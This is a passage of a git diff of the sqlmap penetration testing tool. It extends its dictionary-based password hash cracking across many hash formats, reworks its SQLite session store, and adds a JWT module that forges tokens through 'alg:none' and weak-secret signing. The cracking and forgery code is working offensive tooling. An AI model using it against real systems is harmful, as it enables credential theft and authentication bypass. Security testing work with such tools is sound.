HASH.SHA512_BASE64): + hash_ = hash_.lower() + + if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + item = [(user, encodeHex(decodeBase64(hash_, binary=True), binary=False)), {}] + elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): + if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 + hash_ = hash_[2:] + item = [(user, hash_), {}] + elif hash_regex in (HASH.SSHA,): + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] + elif hash_regex in (HASH.SSHA256,): + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}] + elif hash_regex in (HASH.SSHA512,): + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}] + elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): + item = [(user, hash_), {'username': user}] + elif hash_regex in (HASH.ORACLE,): + item = [(user, hash_), {"salt": hash_[-20:]}] + elif hash_regex in (HASH.ORACLE_12C,): + item = [(user, hash_), {"salt": hash_[-32:]}] + elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): + item = [(user, hash_), {"salt": hash_[6:14]}] + elif hash_regex in (HASH.CRYPT_GENERIC,): + item = [(user, hash_), {"salt": hash_[0:2]}] + elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): + item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT): + item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.BCRYPT,): + item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}] + elif hash_regex in (HASH.WORDPRESS_BCRYPT,): + item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}] + elif hash_regex in (HASH.ASPNET_IDENTITY,): + _ = decodeBase64(hash_, binary=True) + prf, iterations, saltlen = struct.unpack(">III", _[1:13]) + item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}] + elif hash_regex in (HASH.MYSQL_SHA2,): + _ = hash_.split('*') + item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}] + elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): + item = [(user, hash_), {"salt": hash_.split(':')[-1]}] + elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): + item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,): + item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}] + elif hash_regex in (HASH.POSTGRES_SCRAM,): + item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}] + elif hash_regex in (HASH.WERKZEUG_PBKDF2,): + item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}] + elif hash_regex in (HASH.WERKZEUG_SCRYPT,): + _ = hash_.split('$')[0].split(':') + item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}] + elif hash_regex in (HASH.PHPASS,): + if ITOA64.index(hash_[3]) < 32: + item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] + else: + warnMsg = "invalid hash '%s'" % hash_ + logger.warning(warnMsg) + + if item and hash_ not in keys: + resumed = hashDBRetrieve(hash_) + if resumed is None: + attack_info.append(item) + user_hash.append(item[0]) + else: + infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) + if user and not user.startswith(DUMMY_USER_PREFIX): + infoMsg += " for user '%s'" % user + logger.info(infoMsg) + resumes.append((user, hash_, resumed)) + keys.add(hash_) + + except (binascii.Error, TypeError, IndexError): + pass if not attack_info: continue - if not kb.wordlists: + # the pure-Python bcrypt is so slow (seconds per candidate) that even the small dictionary would take + # many hours; it uses the built-in COMMON_PASSWORDS list (no file), tried candidate-major under a time + # budget below, and points at a dedicated tool for anything beyond it + if hash_regex in (HASH.BCRYPT, HASH.WORDPRESS_BCRYPT): + warnMsg = "bcrypt hashing is very slow in pure Python; trying only the most common passwords. " + warnMsg += "For an exhaustive attack use a dedicated tool" + if hash_regex in HASHCAT_MODES: + warnMsg += " (e.g. 'hashcat -m %d')" % HASHCAT_MODES[hash_regex] + singleTimeWarnMessage(warnMsg) + + elif not kb.wordlists: while not kb.wordlists: - # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS): + # the slowest of the remaining methods hence smaller default dict + if hash_regex in (HASH.ORACLE_OLD, HASH.ORACLE_12C, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.MYSQL_SHA2): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -751,43 +1504,50 @@ def dictionaryAttack(attack_dict): message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" - choice = readInput(message, default="1") + choice = readInput(message, default='1') try: - if choice == "2": + if choice == '2': message = "what's the custom dictionary's location?\n" - dictPaths = [readInput(message)] - - logger.info("using custom dictionary") - elif choice == "3": + dictPath = readInput(message) + if dictPath: + dictPaths = [dictPath] + logger.info("using custom dictionary") + elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) - logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") - dictPaths = filter(None, dictPaths) + dictPaths = [_ for _ in dictPaths if _] for dictPath in dictPaths: checkFile(dictPath) + if isZipFile(dictPath): + _ = zipfile.ZipFile(dictPath, 'r') + if len(_.namelist()) == 0: + errMsg = "no file(s) inside '%s'" % dictPath + raise SqlmapDataException(errMsg) + else: + _.open(_.namelist()[0]) + kb.wordlists = dictPaths - except Exception, ex: + except Exception as ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " - test = readInput(message, default="N") - if test[0] in ("y", "Y"): + if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES - infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name + infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__ logger.info(infoMsg) for item in attack_info: @@ -795,7 +1555,8 @@ def dictionaryAttack(attack_dict): if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) - if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): + # Algorithms without extra arguments (e.g. salt and/or username) + if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): for suffix in suffix_list: if not attack_info or processException: break @@ -820,54 +1581,102 @@ def dictionaryAttack(attack_dict): count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist)) - processes.append(p) + process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) + processes.append(process) - for p in processes: - p.daemon = True - p.start() + for process in processes: + process.daemon = True + process.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) - retVal = Queue() - _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist) + retVal = _queue.Queue() + _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: - print + print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) - - for process in processes: - try: - process.terminate() - process.join() - except (OSError, AttributeError): - pass + logger.warning(warnMsg) finally: + _finalize(retVal, results, processes, attack_info) + + clearConsoleLine() + + # bcrypt is minutes-per-candidate in pure Python and every hash is separately salted (no shared + # work), so a whole table's worth would run for hours; crack candidate-major (most common passwords + # against all hashes first) under a wall-clock budget, then leave the rest for a dedicated tool + elif hash_regex in (HASH.BCRYPT, HASH.WORDPRESS_BCRYPT): + deadline = time.time() + HASH_ATTACK_TIME_LIMIT + bcryptWordlist = list(COMMON_PASSWORDS) + custom_wordlist # built-in list (+usernames), no file + + for suffix in suffix_list: + if not attack_info or processException or time.time() > deadline: + break + + if suffix: + clearConsoleLine() + infoMsg = "using suffix '%s'" % suffix + logger.info(infoMsg) + + retVal = None + processes = [] + + try: if _multiprocessing: - gc.enable() + if _multiprocessing.cpu_count() > 1: + infoMsg = "starting %d processes " % _multiprocessing.cpu_count() + singleTimeLogMessage(infoMsg) - if retVal: - conf.hashDB.beginTransaction() + gc.disable() - while not retVal.empty(): - user, hash_, word = item = retVal.get(block=False) - attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info) - hashDBWrite(hash_, word) - results.append(item) + retVal = _multiprocessing.Queue() + count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) - conf.hashDB.endTransaction() + for i in xrange(_multiprocessing.cpu_count()): + process = _multiprocessing.Process(target=_bruteProcessVariantSalted, args=(attack_info, hash_regex, suffix, retVal, i, count, [], bcryptWordlist, conf.api, deadline)) + processes.append(process) + + for process in processes: + process.daemon = True + process.start() + + while count.value > 0: + time.sleep(0.5) + + else: + warnMsg = "multiprocessing hash cracking is currently " + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") + singleTimeWarnMessage(warnMsg) + + retVal = _queue.Queue() + _bruteProcessVariantSalted(attack_info, hash_regex, suffix, retVal, 0, 1, [], bcryptWordlist, conf.api, deadline) + + except KeyboardInterrupt: + print() + processException = True + warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" + logger.warning(warnMsg) + + finally: + _finalize(retVal, results, processes, attack_info) clearConsoleLine() + if attack_info and not processException: # _finalize() drops solved hashes, so any left are uncracked + warnMsg = "%d bcrypt hash(es) not cracked with common passwords; " % len(attack_info) + warnMsg += "use a dedicated tool for an exhaustive attack" + if hash_regex in HASHCAT_MODES: + warnMsg += " (e.g. 'hashcat -m %d')" % HASHCAT_MODES[hash_regex] + logger.warning(warnMsg) + else: for ((user, hash_), kwargs) in attack_info: if processException: @@ -904,12 +1713,12 @@ def dictionaryAttack(attack_dict): count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist)) - processes.append(p) + process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) + processes.append(process) - for p in processes: - p.daemon = True - p.start() + for process in processes: + process.daemon = True + process.start() while count.value > 0: time.sleep(0.5) @@ -918,25 +1727,25 @@ def dictionaryAttack(attack_dict): else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) - class Value(): + class Value(object): pass - retVal = Queue() + retVal = _queue.Queue() found_ = Value() found_.value = False - _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist) + _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: - print + print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) + logger.warning(warnMsg) for process in processes: try: @@ -946,18 +1755,7 @@ class Value(): pass finally: - if _multiprocessing: - gc.enable() - - if retVal: - conf.hashDB.beginTransaction() - - while not retVal.empty(): - user, hash_, word = item = retVal.get(block=False) - hashDBWrite(hash_, word) - results.append(item) - - conf.hashDB.endTransaction() + _finalize(retVal, results, processes, attack_info) clearConsoleLine() @@ -965,10 +1763,28 @@ class Value(): if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" - logger.warn(warnMsg) + logger.warning(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" - logger.warn(warnMsg) + logger.warning(warnMsg) return results + +def crackHashFile(hashFile): + i = 0 + attack_dict = {} + + check = None + for line in getFileItems(conf.hashFile): + if check is None and not attack_dict and ':' in line: + check = any(re.search(_, line) for _ in getPublicTypeMembers(HASH, True)) + + if ':' in line and check is False: + user, hash_ = line.split(':', 1) + attack_dict[user] = [hash_] + else: + attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [line] + i += 1 + + dictionaryAttack(attack_dict) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 555be564b3c..c15389519a3 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,47 +1,64 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import hashlib import os import sqlite3 +import struct import threading import time from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import serializeObject +from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject +from lib.core.compat import RecursionError +from lib.core.compat import xrange +from lib.core.convert import getBytes +from lib.core.convert import getUnicode from lib.core.data import logger -from lib.core.exception import SqlmapDataException +from lib.core.datatype import LRUDict +from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES -from lib.core.settings import HASHDB_FLUSH_THRESHOLD -from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_ITEMS +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME +from lib.core.settings import HASHDB_RETRIEVE_RETRIES +from lib.core.settings import IS_PYPY from lib.core.threads import getCurrentThreadData -from lib.core.threads import getCurrentThreadName +from thirdparty import six class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} + self._read_cache = LRUDict(capacity=100) self._cache_lock = threading.Lock() + self._connections = [] + self._last_flush_time = time.time() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: - connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) + connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) + if not IS_PYPY: + connection.execute("PRAGMA journal_mode=WAL") + connection.execute("PRAGMA synchronous=NORMAL") + connection.execute("PRAGMA busy_timeout=10000") + self._connections.append(connection) threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") - except Exception, ex: + connection.commit() + except Exception as ex: errMsg = "error occurred while opening a session " - errMsg += "file '%s' ('%s')" % (self.filepath, ex) - raise SqlmapDataException(errMsg) + errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) return threadData.hashDBCursor @@ -55,64 +72,103 @@ def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: + if self._write_cache: + self.flush() + threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None except: pass + def closeAll(self): + if self._write_cache: + self.flush() + + for connection in self._connections: + try: + connection.close() + except: + pass + @staticmethod def hashKey(key): - key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) - retVal = int(hashlib.md5(key).hexdigest()[:12], 16) + key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") + retVal = struct.unpack("<Q", hashlib.md5(key).digest()[:8])[0] & 0x7fffffffffffffff return retVal def retrieve(self, key, unserialize=False): retVal = None - if key and (self._write_cache or os.path.isfile(self.filepath)): + + if key and (self._write_cache or self._connections or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) - if not retVal: - while True: + + if retVal is None: + retVal = self._read_cache.get(hash_) + + if retVal is None: + for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] - except sqlite3.OperationalError, ex: - if not "locked" in getSafeExString(ex): - raise - except sqlite3.DatabaseError, ex: - errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, ex) - errMsg += "If the problem persists please rerun with `--flush-session`" - raise SqlmapDataException, errMsg + except (sqlite3.OperationalError, sqlite3.DatabaseError) as ex: + if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): + warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) + singleTimeWarnMessage(warnMsg) + elif "Could not decode" in getSafeExString(ex): + break + else: + errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) + errMsg += "If the problem persists please rerun with '--flush-session'" + raise SqlmapConnectionException(errMsg) else: break - return retVal if not unserialize else unserializeObject(retVal) + + time.sleep(1) + + if retVal is not None: + self._read_cache[hash_] = retVal + + if retVal and unserialize: + try: + retVal = unserializeObject(retVal) + except: + retVal = None + warnMsg = "error occurred while unserializing value for session key '%s'. " % key + warnMsg += "If the problem persists please rerun with '--flush-session'" + logger.warning(warnMsg) + + return retVal def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) - self._cache_lock.acquire() - self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) - self._cache_lock.release() - - if getCurrentThreadName() in ('0', 'MainThread'): - self.flush() + with self._cache_lock: + try: + self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) + except RecursionError: + pass + finally: + cache_size = len(self._write_cache) + time_since_flush = time.time() - self._last_flush_time - def flush(self, forced=False): - if not self._write_cache: - return + if cache_size >= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: + self.flush() - if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: - return + def flush(self): + with self._cache_lock: + if not self._write_cache: + return - self._cache_lock.acquire() - _ = self._write_cache - self._write_cache = {} - self._cache_lock.release() + flush_cache = self._write_cache + self._write_cache = {} + self._last_flush_time = time.time() + began = False try: - self.beginTransaction() - for hash_, value in _.items(): + began = self.beginTransaction() + for hash_, value in flush_cache.items(): retries = 0 while True: try: @@ -120,16 +176,19 @@ def flush(self, forced=False): self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) - except sqlite3.DatabaseError, ex: + except (UnicodeError, OverflowError): # e.g. surrogates not allowed (Issue #3851) + break + except sqlite3.DatabaseError as ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath logger.debug(debugMsg) break - if retries == 0: + # NOTE: skipping the retries == 0 for graceful resolution of multi-threaded runs + if retries == 1: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) - logger.warn(warnMsg) + logger.warning(warnMsg) if retries >= HASHDB_FLUSH_RETRIES: return @@ -139,20 +198,30 @@ def flush(self, forced=False): else: break finally: - self.endTransaction() + # Only close a transaction we actually opened; when flush() runs nested inside an + # outer batch (e.g. lib/utils/hash.py wrapping cracked-password writes) beginTransaction() + # returns False and the outer owner keeps ownership - ending it here would commit it early + if began: + self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() - if not threadData.inTransaction: + if threadData.inTransaction: + return False # already inside an (outer) transaction; do not nest + + try: + self.cursor.execute("BEGIN TRANSACTION") + except Exception: # Note: deliberately not bare - a KeyboardInterrupt here must propagate try: - self.cursor.execute("BEGIN TRANSACTION") - except: # Reference: http://stackoverflow.com/a/25245731 self.cursor.close() - threadData.hashDBCursor = None - self.cursor.execute("BEGIN TRANSACTION") - finally: - threadData.inTransaction = True + except sqlite3.ProgrammingError: + pass + threadData.hashDBCursor = None + self.cursor.execute("BEGIN TRANSACTION") + + threadData.inTransaction = True # set only on a genuine BEGIN (not if the retry above raised) + return True def endTransaction(self): threadData = getCurrentThreadData() @@ -164,6 +233,10 @@ def endTransaction(self): threadData.inTransaction = False except sqlite3.OperationalError: pass + except sqlite3.ProgrammingError: + self.cursor = None + threadData.inTransaction = False + return else: return diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py deleted file mode 100644 index 951c5c4a26e..00000000000 --- a/lib/utils/htmlentities.py +++ /dev/null @@ -1,263 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html - -htmlEntities = { - 'quot': 34, - 'amp': 38, - 'lt': 60, - 'gt': 62, - 'nbsp': 160, - 'iexcl': 161, - 'cent': 162, - 'pound': 163, - 'curren': 164, - 'yen': 165, - 'brvbar': 166, - 'sect': 167, - 'uml': 168, - 'copy': 169, - 'ordf': 170, - 'laquo': 171, - 'not': 172, - 'shy': 173, - 'reg': 174, - 'macr': 175, - 'deg': 176, - 'plusmn': 177, - 'sup2': 178, - 'sup3': 179, - 'acute': 180, - 'micro': 181, - 'para': 182, - 'middot': 183, - 'cedil': 184, - 'sup1': 185, - 'ordm': 186, - 'raquo': 187, - 'frac14': 188, - 'frac12': 189, - 'frac34': 190, - 'iquest': 191, - 'Agrave': 192, - 'Aacute': 193, - 'Acirc': 194, - 'Atilde': 195, - 'Auml': 196, - 'Aring': 197, - 'AElig': 198, - 'Ccedil': 199, - 'Egrave': 200, - 'Eacute': 201, - 'Ecirc': 202, - 'Euml': 203, - 'Igrave': 204, - 'Iacute': 205, - 'Icirc': 206, - 'Iuml': 207, - 'ETH': 208, - 'Ntilde': 209, - 'Ograve': 210, - 'Oacute': 211, - 'Ocirc': 212, - 'Otilde': 213, - 'Ouml': 214, - 'times': 215, - 'Oslash': 216, - 'Ugrave': 217, - 'Uacute': 218, - 'Ucirc': 219, - 'Uuml': 220, - 'Yacute': 221, - 'THORN': 222, - 'szlig': 223, - 'agrave': 224, - 'aacute': 225, - 'acirc': 226, - 'atilde': 227, - 'auml': 228, - 'aring': 229, - 'aelig': 230, - 'ccedil': 231, - 'egrave': 232, - 'eacute': 233, - 'ecirc': 234, - 'euml': 235, - 'igrave': 236, - 'iacute': 237, - 'icirc': 238, - 'iuml': 239, - 'eth': 240, - 'ntilde': 241, - 'ograve': 242, - 'oacute': 243, - 'ocirc': 244, - 'otilde': 245, - 'ouml': 246, - 'divide': 247, - 'oslash': 248, - 'ugrave': 249, - 'uacute': 250, - 'ucirc': 251, - 'uuml': 252, - 'yacute': 253, - 'thorn': 254, - 'yuml': 255, - 'OElig': 338, - 'oelig': 339, - 'Scaron': 352, - 'fnof': 402, - 'scaron': 353, - 'Yuml': 376, - 'circ': 710, - 'tilde': 732, - 'Alpha': 913, - 'Beta': 914, - 'Gamma': 915, - 'Delta': 916, - 'Epsilon': 917, - 'Zeta': 918, - 'Eta': 919, - 'Theta': 920, - 'Iota': 921, - 'Kappa': 922, - 'Lambda': 923, - 'Mu': 924, - 'Nu': 925, - 'Xi': 926, - 'Omicron': 927, - 'Pi': 928, - 'Rho': 929, - 'Sigma': 931, - 'Tau': 932, - 'Upsilon': 933, - 'Phi': 934, - 'Chi': 935, - 'Psi': 936, - 'Omega': 937, - 'alpha': 945, - 'beta': 946, - 'gamma': 947, - 'delta': 948, - 'epsilon': 949, - 'zeta': 950, - 'eta': 951, - 'theta': 952, - 'iota': 953, - 'kappa': 954, - 'lambda': 955, - 'mu': 956, - 'nu': 957, - 'xi': 958, - 'omicron': 959, - 'pi': 960, - 'rho': 961, - 'sigmaf': 962, - 'sigma': 963, - 'tau': 964, - 'upsilon': 965, - 'phi': 966, - 'chi': 967, - 'psi': 968, - 'omega': 969, - 'thetasym': 977, - 'upsih': 978, - 'piv': 982, - 'bull': 8226, - 'hellip': 8230, - 'prime': 8242, - 'Prime': 8243, - 'oline': 8254, - 'frasl': 8260, - 'ensp': 8194, - 'emsp': 8195, - 'thinsp': 8201, - 'zwnj': 8204, - 'zwj': 8205, - 'lrm': 8206, - 'rlm': 8207, - 'ndash': 8211, - 'mdash': 8212, - 'lsquo': 8216, - 'rsquo': 8217, - 'sbquo': 8218, - 'ldquo': 8220, - 'rdquo': 8221, - 'bdquo': 8222, - 'dagger': 8224, - 'Dagger': 8225, - 'permil': 8240, - 'lsaquo': 8249, - 'rsaquo': 8250, - 'euro': 8364, - 'weierp': 8472, - 'image': 8465, - 'real': 8476, - 'trade': 8482, - 'alefsym': 8501, - 'larr': 8592, - 'uarr': 8593, - 'rarr': 8594, - 'darr': 8595, - 'harr': 8596, - 'crarr': 8629, - 'lArr': 8656, - 'uArr': 8657, - 'rArr': 8658, - 'dArr': 8659, - 'hArr': 8660, - 'forall': 8704, - 'part': 8706, - 'exist': 8707, - 'empty': 8709, - 'nabla': 8711, - 'isin': 8712, - 'notin': 8713, - 'ni': 8715, - 'prod': 8719, - 'sum': 8721, - 'minus': 8722, - 'lowast': 8727, - 'radic': 8730, - 'prop': 8733, - 'infin': 8734, - 'ang': 8736, - 'and': 8743, - 'or': 8744, - 'cap': 8745, - 'cup': 8746, - 'int': 8747, - 'there4': 8756, - 'sim': 8764, - 'cong': 8773, - 'asymp': 8776, - 'ne': 8800, - 'equiv': 8801, - 'le': 8804, - 'ge': 8805, - 'sub': 8834, - 'sup': 8835, - 'nsub': 8836, - 'sube': 8838, - 'supe': 8839, - 'oplus': 8853, - 'otimes': 8855, - 'perp': 8869, - 'sdot': 8901, - 'lceil': 8968, - 'rceil': 8969, - 'lfloor': 8970, - 'rfloor': 8971, - 'lang': 9001, - 'rang': 9002, - 'loz': 9674, - 'spades': 9824, - 'clubs': 9827, - 'hearts': 9829, - 'diams': 9830, -} diff --git a/lib/utils/jwt.py b/lib/utils/jwt.py new file mode 100644 index 00000000000..358e62b6cf9 --- /dev/null +++ b/lib/utils/jwt.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import hashlib +import hmac +import json +import re + +from lib.core.convert import decodeBase64 +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText + +# a compact JSON Web Token: base64url(header).base64url(payload).base64url(signature); a header always starts +# with '{"' which base64url-encodes to the literal prefix 'eyJ', so this matches JWTs embedded in a larger value +JWT_REGEX = r"eyJ[A-Za-z0-9_-]{4,}\.eyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]*" + +# keyed-hash algorithms sqlmap can both verify (crack) and forge offline +HMAC_ALGORITHMS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + +def encodeSegment(value): + return encodeBase64(json.dumps(value, separators=(',', ':')), binary=False, safe=True) + +def parseJWT(token): + """Split and decode a JWT into its header/payload/signature parts (None if it is not a well-formed JWT). + + >>> data = parseJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.") + >>> data["header"]["alg"] == "none" and data["payload"]["user"] == "admin" + True + >>> parseJWT("not.a.jwt") is None + True + """ + + if not token or token.count('.') != 2: + return None + + header, payload, signature = token.split('.') + + try: + header = json.loads(decodeBase64(header, binary=False)) + payload = json.loads(decodeBase64(payload, binary=False)) + except Exception: + return None + + if not isinstance(header, dict) or "alg" not in header: + return None + + return {"header": header, "payload": payload, "signature": signature, "signingInput": token.rsplit('.', 1)[0], "raw": token} + +def findJWTs(value): + """Return every well-formed JWT found inside an arbitrary value (e.g. a Cookie/Authorization header).""" + + return [match.group(0) for match in re.finditer(JWT_REGEX, value or "") if parseJWT(match.group(0))] + +def forgeJWT(header, payload, key=None): + """Re-encode a (possibly tampered) header/payload, signing with 'key' for an HMAC 'alg' or leaving the + signature empty for 'alg':'none' - the primitive behind the alg:none and weak-secret exploitation paths. + + >>> forgeJWT({"alg": "none"}, {"user": "admin"}).endswith('.') + 